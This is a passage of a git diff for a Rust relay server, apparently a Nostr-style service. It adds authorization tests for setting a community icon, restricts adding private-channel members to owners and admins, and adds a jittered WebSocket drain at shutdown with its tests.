+    /// (admin/owner row) exists the gate reverts to steward-only.
+    ///
+    /// Discriminating: fails if the call site inverts or drops
+    /// `require_relay_membership`, or stops consulting `has_admin_or_owner`.
+    #[tokio::test]
+    #[ignore = "requires Postgres"]
+    async fn open_relay_9033_admits_roleless_only_until_a_steward_exists() {
+        let host = format!("icon-gate-open-{}.example", uuid::Uuid::new_v4().simple());
+        let (state, tenant) = workspace_profile_test_state(&host, false).await;
+        let roleless = Keys::generate();
+        let owner = Keys::generate();
+
+        // Rosterless: the roleless sender may set the icon.
+        submit_9033(&state, &tenant, &roleless, "https://example.com/open.png")
+            .await
+            .expect("rosterless open relay must admit an authenticated sender");
+        assert_eq!(
+            stored_icon(&state, &tenant).await.as_deref(),
+            Some("https://example.com/open.png"),
+            "icon must actually be stored"
+        );
+
+        // Seed a steward — the same roleless sender must now be refused, and
+        // the previously stored icon must survive the refused attempt.
+        state
+            .db
+            .add_relay_member(
+                tenant.community(),
+                &owner.public_key().to_hex(),
+                "owner",
+                None,
+            )
+            .await
+            .expect("seed owner");
+        let refused = submit_9033(&state, &tenant, &roleless, "https://evil.example/pwn.png").await;
+        assert_eq!(
+            refused,
+            Err(RelayAdminError::Rejected(
+                "actor not authorized: must be admin or owner".to_string()
+            )),
+            "an open relay with a steward must refuse a roleless sender"
+        );
+        assert_eq!(
+            stored_icon(&state, &tenant).await.as_deref(),
+            Some("https://example.com/open.png"),
+            "refused attempt must not mutate the icon"
+        );
+
+        // The steward still can.
+        submit_9033(&state, &tenant, &owner, "https://example.com/owner.png")
+            .await
+            .expect("the steward must retain icon control");
+        assert_eq!(
+            stored_icon(&state, &tenant).await.as_deref(),
+            Some("https://example.com/owner.png")
+        );
+    }
+
+    /// Closed relay (`require_relay_membership = true`): admin/owner only —
+    /// a plain member and a roleless key are refused even though the
+    /// community also *looks* rosterless-then-stewarded to the open-relay
+    /// branch. Together with the open-relay test this kills the inverted-flag
+    /// mutant: no assignment of the flag satisfies both.
+    #[tokio::test]
+    #[ignore = "requires Postgres"]
+    async fn closed_relay_9033_still_requires_admin_or_owner() {
+        let host = format!("icon-gate-closed-{}.example", uuid::Uuid::new_v4().simple());
+        let (state, tenant) = workspace_profile_test_state(&host, true).await;
+        let roleless = Keys::generate();
+        let member = Keys::generate();
+        let admin = Keys::generate();
+        state
+            .db
+            .add_relay_member(
+                tenant.community(),
+                &member.public_key().to_hex(),
+                "member",
+                None,
+            )
+            .await
+            .expect("seed member");
+        state
+            .db
+            .add_relay_member(
+                tenant.community(),
+                &admin.public_key().to_hex(),
+                "admin",
+                None,
+            )
+            .await
+            .expect("seed admin");
+
+        for (keys, label) in [(&roleless, "roleless"), (&member, "member")] {
+            let refused = submit_9033(&state, &tenant, keys, "https://evil.example/pwn.png").await;
+            assert_eq!(
+                refused,
+                Err(RelayAdminError::Rejected(
+                    "actor not authorized: must be admin or owner".to_string()
+                )),
+                "closed relay must refuse a {label} sender"
+            );
+        }
+        assert_eq!(
+            stored_icon(&state, &tenant).await,
+            None,
+            "refused attempts must not set an icon"
+        );
+
+        submit_9033(&state, &tenant, &admin, "https://example.com/closed.png")
+            .await
+            .expect("closed-relay admin must set the icon");
+        assert_eq!(
+            stored_icon(&state, &tenant).await.as_deref(),
+            Some("https://example.com/closed.png")
+        );
+    }
 }
diff --git a/crates/buzz-relay/src/handlers/req.rs b/crates/buzz-relay/src/handlers/req.rs
index 2aed12cd7f..fd7deadf51 100644
--- a/crates/buzz-relay/src/handlers/req.rs
+++ b/crates/buzz-relay/src/handlers/req.rs
@@ -334,7 +334,12 @@ pub async fn handle_req(
         // (B) projection strategy and the missing-lookup ImplBug
         // guard-rail. Skipped silently if `trace_state` is `None` (only
         // happens on malformed pubkey, a separate failure path).
-        if let Some(state_snap) = trace_state.as_ref() {
+        // `tracer.enabled()` short-circuits the whole block on the production
+        // `NoopTracer`: the `communities_of_channels` lookup below is a
+        // `channels` read whose only consumer is `record_read_message_rows`,
+        // and this emit runs once PER FILTER. Gating on `trace_state` alone was
+        // not enough — that is `Some` for every well-formed request.
+        if let Some(state_snap) = trace_state.as_ref().filter(|_| state.tracer.enabled()) {
             let row_channels: Vec<Option<uuid::Uuid>> =
                 events.iter().map(|e| e.channel_id).collect();
             let distinct: Vec<uuid::Uuid> = {
@@ -659,7 +664,9 @@ async fn handle_search_req(
                 // level isn't bound to a single channel filter, the
                 // per-row `channel_id` carries the channel identity
                 // honestly.
-                if let Some(state_snap) = trace_state {
+                // Same `enabled()` gate as the non-search lane: skip the
+                // trace-only `channels` lookup when nothing observes the emit.
+                if let Some(state_snap) = trace_state.filter(|_| state.tracer.enabled()) {
                     let row_channels: Vec<Option<uuid::Uuid>> =
                         events.iter().map(|e| e.channel_id).collect();
                     let distinct: Vec<uuid::Uuid> = {
diff --git a/crates/buzz-relay/src/handlers/side_effects.rs b/crates/buzz-relay/src/handlers/side_effects.rs
index eb31f0e7bb..0838facf28 100644
--- a/crates/buzz-relay/src/handlers/side_effects.rs
+++ b/crates/buzz-relay/src/handlers/side_effects.rs
@@ -356,28 +356,28 @@ pub async fn validate_admin_event(
                 .iter()
                 .find(|m| m.pubkey == actor_bytes)
                 .and_then(|m| m.role.parse().ok());
-
-            // PUT_USER: open channels allow any authenticated user; private channels
-            // require the actor to be an existing member (any role can invite).
-            if channel.visibility == "private" {
-                if actor_role.is_none() {
-                    return Err(anyhow::anyhow!("actor not authorized"));
-                }
-
-                // Only owners/admins may grant elevated roles.
-                if requested_role.is_some_and(|r| r.is_elevated())
-                    && !actor_role.is_some_and(|r| r.is_elevated())
-                {
-                    return Err(anyhow::anyhow!(
-                        "only owners/admins may grant elevated roles"
-                    ));
-                }
-            }
-
-            // Extract target pubkey from p tag
             let target_pubkey =
                 extract_p_tag(event).ok_or_else(|| anyhow::anyhow!("missing p tag"))?;
 
+            // PUT_USER: open channels allow any authenticated user. Private
+            // channels only let owners/admins add another identity; otherwise
+            // any compromised member could extend access to channel history.
+            //
+            // A self-targeted add skips this check so an idempotent re-add
+            // still works. That is not a way into a private channel: ingest's
+            // `check_channel_membership` rejects a non-member (and a
+            // soft-removed member) before this validator runs, and `add_member`
+            // independently requires the self-inviter to hold an active role.
+            // Self-promotion is caught by the role-change guard below.
+            if channel.visibility == "private"
+                && target_pubkey != actor_bytes
+                && !actor_role.is_some_and(|r| r.is_elevated())
+            {
+                return Err(anyhow::anyhow!(
+                    "only owners/admins may add private-channel members"
+                ));
+            }
+
             // Changing an ACTIVE existing member's role is privileged in both
             // directions, on every visibility. `get_members` filters
             // `removed_at IS NULL`, so a soft-removed row is deliberately not an
@@ -2088,9 +2088,18 @@ async fn handle_a_tag_deletion(
             };
             // Safe cast: NIP-33 kinds are 30000–39999, well within i32.
             let kind_i32 = k as i32;
+            // NIP-09 scopes an a-tag deletion to versions at or before the
+            // deletion's own created_at, so a stale/replayed tombstone can never
+            // erase a newer replacement head.
             let deleted = state
                 .db
-                .soft_delete_by_coordinate(tenant.community(), kind_i32, &pubkey_bytes, d_tag)
+                .soft_delete_by_coordinate(
+                    tenant.community(),
+                    kind_i32,
+                    &pubkey_bytes,
+                    d_tag,
+                    event.created_at.as_secs() as i64,
+                )
                 .await
                 .map_err(|e| {
                     anyhow::anyhow!(
diff --git a/crates/buzz-relay/src/main.rs b/crates/buzz-relay/src/main.rs
index 799cf9cf60..34dc2dfcf8 100644
--- a/crates/buzz-relay/src/main.rs
+++ b/crates/buzz-relay/src/main.rs
@@ -17,7 +17,7 @@ use buzz_db::{Db, DbConfig};
 use buzz_pubsub::PubSubManager;
 use buzz_search::SearchService;
 
-use buzz_relay::config::Config;
+use buzz_relay::config::{Config, MAX_DRAIN_JITTER_MS};
 use buzz_relay::metrics as relay_metrics;
 use buzz_relay::router::{build_health_router, build_router};
 use buzz_relay::state::AppState;
@@ -1189,6 +1189,37 @@ async fn run_periodic_until_cancelled<Tick, TickFuture>(
 /// │         → graceful drain (30s) → exit                   │
 /// └─────────────────────────────────────────────────────────┘
 /// ```
+///
+/// ## Shutdown budget
+///
+/// The full teardown, measured from SIGTERM, is bounded as follows:
+///
+/// 1. `5s` grace. Readiness returns 503 immediately, then the process
+///    sleeps 5 seconds so Kubernetes stops routing new traffic before any
+///    listener closes.
+/// 2. `GRACEFUL_DRAIN_TIMEOUT` (`30s`) hard drain. Started at the end of the
+///    grace, this backstops the whole drain and force-exits the process if
+///    exceeded. It bounds everything after the grace, not the grace itself.
+///
+/// A single WebSocket can therefore stay open, from SIGTERM, for up to:
+///
+/// ```text
+///   5s grace  +  up to 20s jitter  +  up to 5s close-frame ack  =  30s
+///   (fixed)      (MAX_DRAIN_JITTER_MS)  (RESTART_CLOSE_ACK_TIMEOUT)
+/// ```
+///
+/// The 5s grace runs before the 30s hard-drain clock starts, so the jitter
+/// (capped at [`buzz_relay::config::MAX_DRAIN_JITTER_MS`] = 20s) plus the
+/// per-connection close-frame ack wait (`RESTART_CLOSE_ACK_TIMEOUT` = 5s in
+/// `state.rs`) sum to 25s and stay inside the 30s hard drain. Total worst
+/// case from SIGTERM to forced exit is 5s + 30s = 35s. Both fit inside the
+/// chart's `terminationGracePeriodSeconds: 60` (`deploy/charts/buzz/values.yaml`),
+/// which leaves headroom but assumes no `preStop` hook adds further delay.
+/// With jitter off (`BUZZ_DRAIN_JITTER_MS=0`, the default) sockets close
+/// all-at-once right after the grace, so the per-socket delay collapses to
+/// roughly the 5s grace plus the ack wait.
+const GRACEFUL_DRAIN_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30);
+
 async fn serve(
     router: axum::Router,
     health_router: axum::Router,
@@ -1207,8 +1238,36 @@ async fn serve(
     let (shutdown_tx, _) = tokio::sync::watch::channel(false);
     let shutdown_flag = Arc::clone(&state.shutting_down);
     let drain_conn_manager = Arc::clone(&state.conn_manager);
+    let drain_jitter_ms = state.config.drain_jitter_ms;
     let tx = shutdown_tx.clone();
-    tokio::spawn(async move {
+    // TODO(coverage): `serve`'s shutdown wiring has no automated test. The
+    // jittered drain helper (`ConnectionManager::drain_all_jittered`) is
+    // covered in `state.rs`, but coverage of the helper is not coverage of
+    // its use here: the three wiring facts below are currently unguarded, and
+    // mutating any one of them leaves the suite green.
+    //   1. Jitter dispatch: `drain_jitter_ms == 0` must pick `drain_all`, and
+    //      a non-zero value must pick `drain_all_jittered(drain_jitter_ms)`.
+    //      A mutant that inverts this condition ships jitter-off in prod.
+    //   2. The shutdown handle must be awaited before the abort. Dropping the
+    //      `shutdown_handle.await` (both the UDS and TCP-only return paths) is
+    //      the exact shape of the previously shipped detached-timer bug,
+    //      relocated from the helper to the call site: the runtime can exit
+    //      before delayed closes flush, so no client sees a 1012.
+    //   3. `shutdown_tx.send(true)` must reach every listener's
+    //      `with_graceful_shutdown` future, on both the UDS and TCP-only paths.
+    //
+    // A focused test would refactor the drain/dispatch decision and the
+    // listener-shutdown fan-out into a small seam that does not need a bound
+    // socket or a real SIGTERM. One shape: extract the body of this spawned
+    // task into a `run_graceful_shutdown(state, shutdown_tx)` fn parameterised
+    // over a signal future and a clock, inject a fake `ConnectionManager`
+    // (or a trait over `drain_all` / `drain_all_jittered`) that records which
+    // path ran, drive it with `tokio::time` paused, and assert: (a) the right
+    // drain path ran for jitter 0 vs non-zero, (b) the drain future completed
+    // before the abort fired, and (c) each subscribed `watch` receiver
+    // observed `true`. This keeps the test off real ports and off wall-clock
+    // sleeps. Not implemented here. This comment records the plan only.
+    let shutdown_handle = tokio::spawn(async move {
         shutdown_signal().await;
         shutdown_flag.store(true, Ordering::Relaxed);
         info!("Shutdown signal received — readiness now returns 503");
@@ -1216,20 +1275,31 @@ async fn serve(
         tokio::time::sleep(std::time::Duration::from_secs(5)).await;
         info!("Starting graceful drain (30s timeout)");
         let _ = tx.send(true);
-        // Tell every connected client to reconnect NOW. Without this, upgraded
-        // WebSocket connections outlive the listener drain: clients ride the
-        // dying pod until the forced exit below and only learn about the
-        // restart from a TCP reset. The 1012 close frame turns a 35s silent
-        // death into an immediate, well-attributed reconnect.
-        let closed = drain_conn_manager.drain_all();
+        // Keep the original process-level backstop alive while listener and
+        // upgraded-socket shutdown proceeds. The caller aborts it only after
+        // Axum and the owned jitter drain have both completed.
+        let hard_shutdown = tokio::spawn(async {
+            tokio::time::sleep(GRACEFUL_DRAIN_TIMEOUT).await;
+            tracing::error!("Drain timeout exceeded — forcing exit");
+            std::process::exit(1);
+        });
+        let hard_shutdown_abort = hard_shutdown.abort_handle();
+        // Stop accepting first, then close every live socket. Jitter off (the
+        // default) uses the original synchronous all-at-once drain; jitter on
+        // retains ownership of every delayed close until its 1012 frame has
+        // been flushed and acknowledged (or its send loop cancelled).
+        let closed = if drain_jitter_ms == 0 {
+            drain_conn_manager.drain_all()
+        } else {
+            drain_conn_manager.drain_all_jittered(drain_jitter_ms).await
+        };
         info!(
             connections = closed,
-            "Sent restart close frame to all live WebSocket connections"
+            jitter_ms = drain_jitter_ms,
+            max_jitter_ms = MAX_DRAIN_JITTER_MS,
+            "Signalled restart close to all live WebSocket connections"
         );
-        // Hard timeout: force exit if connections don't drain within 30s.
-        tokio::time::sleep(std::time::Duration::from_secs(30)).await;
-        tracing::error!("Drain timeout exceeded — forcing exit");
-        std::process::exit(1);
+        hard_shutdown_abort
     });
 
     let tcp_listener = tokio::net::TcpListener::bind(&config.bind_addr)
@@ -1277,7 +1347,11 @@ async fn serve(
         .await
         .map_err(|e| anyhow::anyhow!("TCP server error: {e}"))?;
 
+        let hard_shutdown = shutdown_handle
+            .await
+            .map_err(|e| anyhow::anyhow!("Shutdown task failed: {e}"))?;
         uds_handle.abort();
+        hard_shutdown.abort();
         return Ok(());
     }
 
@@ -1298,6 +1372,10 @@ async fn serve(
     .await
     .map_err(|e| anyhow::anyhow!("Server error: {e}"))?;
 
+    let hard_shutdown = shutdown_handle
+        .await
+        .map_err(|e| anyhow::anyhow!("Shutdown task failed: {e}"))?;
+    hard_shutdown.abort();
     Ok(())
 }
 
diff --git a/crates/buzz-relay/src/state.rs b/crates/buzz-relay/src/state.rs
index 58a869a995..14a50df7b7 100644
--- a/crates/buzz-relay/src/state.rs
+++ b/crates/buzz-relay/src/state.rs
@@ -9,6 +9,7 @@ use std::time::Instant;
 use axum::body::Bytes;
 use axum::extract::ws::{Message as WsMessage, Utf8Bytes as WsUtf8Bytes};
 use dashmap::DashMap;
+use futures_util::future::join_all;
 use tokio::sync::mpsc;
 use tokio::sync::Semaphore;
 use tokio::task::JoinHandle;
@@ -31,10 +32,13 @@ use deadpool_redis;
 
 use crate::audio::AudioRoomManager;
 use crate::config::Config;
-use crate::connection::ConnectionSubscriptions;
+use crate::connection::{ConnectionSubscriptions, RestartClose};
 use crate::subscription::SubscriptionRegistry;
 
 pub(crate) type ScopedPubkeyKey = (CommunityId, [u8; 32]);
+
+/// Leaves headroom under the process-wide drain deadline for a stalled writer.
+const RESTART_CLOSE_ACK_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(5);
 type SlidingWindowCounter = (u32, Instant);
 type ScopedRateLimiter = DashMap<ScopedPubkeyKey, SlidingWindowCounter>;
 
@@ -45,6 +49,7 @@ struct ConnEntry {
     /// the send loop. Used to deliver a ban-disconnect frame that must reach
     /// the client before the socket is closed (see [`ConnectionManager::disconnect_pubkey`]).
     ctrl_tx: mpsc::Sender<WsMessage>,
+    restart_tx: Option<mpsc::Sender<RestartClose>>,
     cancel: CancellationToken,
     /// Community resolved from the connection host at handshake. This is the
     /// receiver-side tenant label fan-out must compare against the event label.
@@ -202,11 +207,12 @@ impl ConnectionManager {
     // Each argument is a distinct per-connection attribute stored verbatim in
     // `ConnEntry`; a params struct would only relocate the same fields.
     #[allow(clippy::too_many_arguments)]
-    pub fn register(
+    pub(crate) fn register(
         &self,
         conn_id: Uuid,
         tx: mpsc::Sender<WsMessage>,
         ctrl_tx: mpsc::Sender<WsMessage>,
+        restart_tx: Option<mpsc::Sender<RestartClose>>,
         cancel: CancellationToken,
         community_id: CommunityId,
         backpressure_count: Arc<AtomicU8>,
@@ -220,6 +226,7 @@ impl ConnectionManager {
             ConnEntry {
                 tx,
                 ctrl_tx,
+                restart_tx,
                 cancel,
                 community_id,
                 backpressure_count,
@@ -231,7 +238,11 @@ impl ConnectionManager {
         // Insert-then-check pairs with drain_all's store-then-iterate: either
         // the drain iteration sees this entry, or this check sees the flag.
         // A registration that raced past the snapshot self-signals here, so
-        // no connection can outlive graceful shutdown unclosed.
+        // no connection can outlive graceful shutdown unclosed. A client that
+        // arrives mid-shutdown should be closed at once, so the self-signal
+        // always uses the immediate control-frame + cancel path regardless of
+        // whether jittered drain is enabled — jitter smears the sockets that
+        // were already established, not late arrivals.
         if self.draining.load(Ordering::SeqCst) {
             let _ = drain_ctrl_tx.try_send(Self::restart_close_frame());
             drain_cancel.cancel();
@@ -335,6 +346,11 @@ impl ConnectionManager {
 
     /// Closes every live connection with a `1012 Service Restart` close frame.
     ///
+    /// This is the original, all-at-once drain, retained as the default path
+    /// (`BUZZ_DRAIN_JITTER_MS` unset or `0`). It is synchronous and returns as
+    /// soon as every close is queued and every connection cancelled, so the
+    /// caller's hard-drain timeout backstops delivery unchanged.
+    ///
     /// Called when graceful shutdown starts draining. Without this, upgraded
     /// WebSocket connections outlive the axum listener drain: clients ride the
     /// dying pod until the forced exit and then learn about the restart from a
@@ -364,6 +380,82 @@ impl ConnectionManager {
         closed
     }
 
+    /// Closes every live connection with a `1012 Service Restart` frame,
+    /// spreading closes across `[1, jitter_ms]`.
+    ///
+    /// This is the jittered drain, used only when `BUZZ_DRAIN_JITTER_MS > 0`.
+    /// It is kept deliberately separate from [`Self::drain_all`] so that the
+    /// default (jitter-off) shutdown path is byte-for-byte the previously
+    /// shipped behavior; the new close-acknowledgement machinery only runs when
+    /// jitter is explicitly enabled. Once the jittered path is proven in
+    /// production for all cases, the two can be unified and the old one dropped.
+    ///
+    /// A pod under a rolling deploy can hold thousands of WebSocket sessions.
+    /// Closing them simultaneously ([`Self::drain_all`]) makes every client
+    /// reconnect at the same moment — a thundering herd that drives the DB
+    /// pool-timeout bursts observed on each roll. Delaying each connection's
+    /// close by an independent uniform random offset in `[1, jitter_ms]`
+    /// smears the reconnects across the window while keeping the well-attributed
+    /// 1012 close.
+    ///
+    /// Each delayed close is delivered over the connection's dedicated
+    /// [`RestartClose`] channel: the writer flushes the 1012 frame and
+    /// acknowledges the flush, so drain waits for confirmed delivery (up to
+    /// [`RESTART_CLOSE_ACK_TIMEOUT`]) rather than assuming it. If the channel is
+    /// full/closed or the ack times out, drain falls back to cancellation.
+    ///
+    /// The sticky drain flag is set before the first await, preserving
+    /// [`Self::drain_all`]'s shutdown-boundary race guarantee: a registration
+    /// that lands after the snapshot self-signals immediately (no jitter — a
+    /// client arriving mid-shutdown should be closed at once). The returned
+    /// future owns every delayed close, so the caller must await it before the
+    /// relay runtime is allowed to stop.
+    ///
+    /// Returns the number of connections signalled.
+    pub async fn drain_all_jittered(&self, jitter_ms: u64) -> usize {
+        // Store-then-snapshot pairs with register's insert-then-check: either
+        // the snapshot captures a registration, or it observes the sticky flag
+        // and self-signals immediately.
+        self.draining.store(true, Ordering::SeqCst);
+        let jitter_ms = jitter_ms.max(1);
+        let pending: Vec<_> = self
+            .connections
+            .iter()
+            .map(|entry| {
+                let ctrl_tx = entry.ctrl_tx.clone();
+                let restart_tx = entry.restart_tx.clone();
+                let cancel = entry.cancel.clone();
+                let delay_ms = 1 + rand::random::<u64>() % jitter_ms;
+                async move {
+                    tokio::time::sleep(std::time::Duration::from_millis(delay_ms)).await;
+                    let Some(restart_tx) = restart_tx else {
+                        // Unit-only registrations do not own a writer task.
+                        let _ = ctrl_tx.try_send(Self::restart_close_frame());
+                        cancel.cancel();
+                        return;
+                    };
+                    let (flushed_tx, flushed_rx) = tokio::sync::oneshot::channel();
+                    if restart_tx
+                        .try_send(RestartClose {
+                            flushed: flushed_tx,
+                        })
+                        .is_err()
+                    {
+                        cancel.cancel();
+                        return;
+                    }
+                    let flushed = tokio::time::timeout(RESTART_CLOSE_ACK_TIMEOUT, flushed_rx).await;
+                    if !matches!(flushed, Ok(Ok(true))) {
+                        cancel.cancel();
+                    }
+                }
+            })
+            .collect();
+        let count = pending.len();
+        join_all(pending).await;
+        count
+    }
+
     /// The WS close frame announcing a graceful restart: 1012 Service Restart.
     fn restart_close_frame() -> WsMessage {
         WsMessage::Close(Some(axum::extract::ws::CloseFrame {
@@ -1246,6 +1338,7 @@ mod tests {
             conn_id,
             tx,
             ctrl_tx,
+            None,
             cancel.clone(),
             buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
             Arc::clone(&bp),
@@ -1371,6 +1464,7 @@ mod tests {
             conn_id,
             tx,
             conn.ctrl_tx.clone(),
+            None,
             cancel.clone(),
             buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
             Arc::clone(&bp),
@@ -1417,6 +1511,7 @@ mod tests {
             conn_a,
             tx_a,
             ctrl_tx_a,
+            None,
             CancellationToken::new(),
             community_a,
             Arc::new(AtomicU8::new(0)),
@@ -1427,6 +1522,7 @@ mod tests {
             conn_b,
             tx_b,
             ctrl_tx_b,
+            None,
             CancellationToken::new(),
             community_b,
             Arc::new(AtomicU8::new(0)),
@@ -1463,6 +1559,7 @@ mod tests {
             conn_id,
             tx,
             ctrl_tx,
+            None,
             cancel,
             buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
             bp,
@@ -1765,6 +1862,7 @@ mod tests {
                 conn_id,
                 tx,
                 ctrl_tx,
+                None,
                 cancel.clone(),
                 community,
                 Arc::new(AtomicU8::new(0)),
@@ -1793,6 +1891,117 @@ mod tests {
         );
     }
 
+    #[tokio::test]
+    async fn drain_all_jittered_waits_for_writer_acknowledgement_without_cancelling() {
+        let mgr = Arc::new(ConnectionManager::new());
+        let conn_id = Uuid::new_v4();
+        let (tx, _rx) = mpsc::channel(8);
+        let (ctrl_tx, _ctrl_rx) = mpsc::channel(8);
+        let (restart_tx, mut restart_rx) = mpsc::channel(1);
+        let cancel = CancellationToken::new();
+        mgr.register(
+            conn_id,
+            tx,
+            ctrl_tx,
+            Some(restart_tx),
+            cancel.clone(),
+            buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
+            Arc::new(AtomicU8::new(0)),
+            Arc::new(Mutex::new(HashMap::new())),
+            3,
+        );
+
+        let drain_mgr = Arc::clone(&mgr);
+        let drain = tokio::spawn(async move { drain_mgr.drain_all_jittered(1).await });
+        let restart = restart_rx.recv().await.expect("restart command delivered");
+        assert!(!drain.is_finished(), "drain waits for the writer flush");
+        restart.flushed.send(true).expect("acknowledge flush");
+
+        assert_eq!(drain.await.expect("drain task"), 1);
+        assert!(
+            !cancel.is_cancelled(),
+            "successful flush does not use cancellation fallback"
+        );
+    }
+
+    #[tokio::test]
+    async fn drain_all_jittered_cancels_when_restart_channel_is_full_or_closed() {
+        for keep_receiver in [true, false] {
+            let mgr = ConnectionManager::new();
+            let conn_id = Uuid::new_v4();
+            let (tx, _rx) = mpsc::channel(8);
+            let (ctrl_tx, _ctrl_rx) = mpsc::channel(8);
+            let (restart_tx, restart_rx) = mpsc::channel(1);
+            let (pending_tx, _pending_rx) = tokio::sync::oneshot::channel();
+            if keep_receiver {
+                restart_tx
+                    .try_send(RestartClose {
+                        flushed: pending_tx,
+                    })
+                    .expect("fill restart channel");
+            } else {
+                drop(restart_rx);
+            }
+            let cancel = CancellationToken::new();
+            mgr.register(
+                conn_id,
+                tx,
+                ctrl_tx,
+                Some(restart_tx),
+                cancel.clone(),
+                buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
+                Arc::new(AtomicU8::new(0)),
+                Arc::new(Mutex::new(HashMap::new())),
+                3,
+            );
+
+            assert_eq!(mgr.drain_all_jittered(1).await, 1);
+            assert!(
+                cancel.is_cancelled(),
+                "unavailable writer cancels as fallback"
+            );
+        }
+    }
+
+    #[tokio::test(start_paused = true)]
+    async fn drain_all_jittered_cancels_when_flush_ack_times_out() {
+        // A writer that accepts the restart command but never acknowledges the
+        // flush (e.g. wedged mid-send) must not stall the drain: after
+        // RESTART_CLOSE_ACK_TIMEOUT the connection falls back to cancellation.
+        let mgr = Arc::new(ConnectionManager::new());
+        let conn_id = Uuid::new_v4();
+        let (tx, _rx) = mpsc::channel(8);
+        let (ctrl_tx, _ctrl_rx) = mpsc::channel(8);
+        let (restart_tx, mut restart_rx) = mpsc::channel(1);
+        let cancel = CancellationToken::new();
+        mgr.register(
+            conn_id,
+            tx,
+            ctrl_tx,
+            Some(restart_tx),
+            cancel.clone(),
+            buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
+            Arc::new(AtomicU8::new(0)),
+            Arc::new(Mutex::new(HashMap::new())),
+            3,
+        );
+
+        let drain_mgr = Arc::clone(&mgr);
+        let drain = tokio::spawn(async move { drain_mgr.drain_all_jittered(1).await });
+        // Take the restart command but hold the ack sender forever.
+        let restart = restart_rx.recv().await.expect("restart command delivered");
+        assert!(!drain.is_finished(), "drain waits on the ack timeout");
+        // Advance past the 5s ack timeout under paused time.
+        tokio::time::sleep(RESTART_CLOSE_ACK_TIMEOUT + std::time::Duration::from_millis(1)).await;
+
+        assert_eq!(drain.await.expect("drain task"), 1);
+        assert!(
+            cancel.is_cancelled(),
+            "an un-acknowledged flush falls back to cancellation"
+        );
+        drop(restart);
+    }
+
     #[tokio::test]
     async fn drain_all_sends_restart_close_and_cancels_every_conn() {
         // Graceful shutdown must tell every live client to reconnect — across
@@ -1809,6 +2018,7 @@ mod tests {
                 conn_id,
                 tx,
                 ctrl_tx,
+                None,
                 cancel.clone(),
                 community,
                 Arc::new(AtomicU8::new(0)),
@@ -1860,6 +2070,7 @@ mod tests {
             conn_id,
             tx,
             ctrl_tx.clone(),
+            None,
             cancel.clone(),
             buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
             Arc::new(AtomicU8::new(0)),
@@ -1907,6 +2118,7 @@ mod tests {
             conn_id,
             tx,
             ctrl_tx,
+            None,
             cancel.clone(),
             buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
             Arc::new(AtomicU8::new(0)),
@@ -1930,4 +2142,133 @@ mod tests {
             other => panic!("expected a restart close frame, got {other:?}"),
         }
     }
+
+    #[tokio::test]
+    async fn drain_all_is_immediate() {
+        // The default (jitter-off) drain queues the frame and cancels
+        // synchronously — the frame is present the moment drain_all() returns.
+        let mgr = Arc::new(ConnectionManager::new());
+        let conn_id = Uuid::new_v4();
+        let (tx, _rx) = mpsc::channel(8);
+        let (ctrl_tx, mut ctrl_rx) = mpsc::channel(8);
+        let cancel = CancellationToken::new();
+        mgr.register(
+            conn_id,
+            tx,
+            ctrl_tx,
+            None,
+            cancel.clone(),
+            buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
+            Arc::new(AtomicU8::new(0)),
+            Arc::new(Mutex::new(HashMap::new())),
+            3,
+        );
+
+        let closed = mgr.drain_all();
+
+        assert_eq!(closed, 1);
+        assert!(cancel.is_cancelled(), "default drain cancels synchronously");
+        assert!(
+            matches!(
+                ctrl_rx
+                    .try_recv()
+                    .expect("close frame delivered synchronously"),
+                WsMessage::Close(Some(_))
+            ),
+            "the restart close is queued before drain_all() returns"
+        );
+    }
+
+    #[tokio::test(start_paused = true)]
+    async fn drain_all_jittered_defers_close_until_within_jitter_window() {
+        // With jitter, the close is deferred within the owned drain future.
+        // The sticky drain flag is still set immediately, so a late
+        // registration self-signals with no delay.
+        let mgr = Arc::new(ConnectionManager::new());
+        let conn_id = Uuid::new_v4();
+        let (tx, _rx) = mpsc::channel(8);
+        let (ctrl_tx, mut ctrl_rx) = mpsc::channel(8);
+        let cancel = CancellationToken::new();
+        mgr.register(
+            conn_id,
+            tx,
+            ctrl_tx,
+            None,
+            cancel.clone(),
+            buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
+            Arc::new(AtomicU8::new(0)),
+            Arc::new(Mutex::new(HashMap::new())),
+            3,
+        );
+
+        let jitter_ms = 20_000u64;
+        // Poll the owned drain through its first await. Dropping this future
+        // would drop the timers too; the shutdown path must retain and await it.
+        let drain = mgr.drain_all_jittered(jitter_ms);
+        tokio::pin!(drain);
+        assert!(
+            futures_util::poll!(&mut drain).is_pending(),
+            "jittered drain remains pending while its timers are owned"
+        );
+
+        // Not closed yet — the delayed drain is parked on its timer.
+        assert!(
+            !cancel.is_cancelled(),
+            "jittered close is deferred, not synchronous"
+        );
+        assert!(
+            ctrl_rx.try_recv().is_err(),
+            "no close frame queued before the delay elapses"
+        );
+
+        // A registration racing past the snapshot still self-signals at once,
+        // regardless of jitter — clients arriving mid-shutdown are closed now.
+        let late_id = Uuid::new_v4();
+        let (late_tx, _late_rx) = mpsc::channel(8);
+        let (late_ctrl_tx, mut late_ctrl_rx) = mpsc::channel(8);
+        let late_cancel = CancellationToken::new();
+        mgr.register(
+            late_id,
+            late_tx,
+            late_ctrl_tx,
+            None,
+            late_cancel.clone(),
+            buzz_core::tenant::CommunityId::from_uuid(Uuid::nil()),
+            Arc::new(AtomicU8::new(0)),
+            Arc::new(Mutex::new(HashMap::new())),
+            3,
+        );
+        assert!(
+            late_cancel.is_cancelled(),
+            "late registration self-signals immediately, unaffected by jitter"
+        );
+        assert!(
+            matches!(
+                late_ctrl_rx.try_recv().expect("late close frame"),
+                WsMessage::Close(Some(_))
+            ),
+            "late registration gets the restart close with no delay"
+        );
+
+        // Advance past the whole jitter window; awaiting the owned drain must
+        // complete only after the deferred close has fired.
+        tokio::time::advance(std::time::Duration::from_millis(jitter_ms + 1)).await;
+        assert_eq!(drain.await, 1, "one captured connection drained");
+
+        assert!(
+            cancel.is_cancelled(),
+            "the jittered connection is closed within the jitter window"
+        );
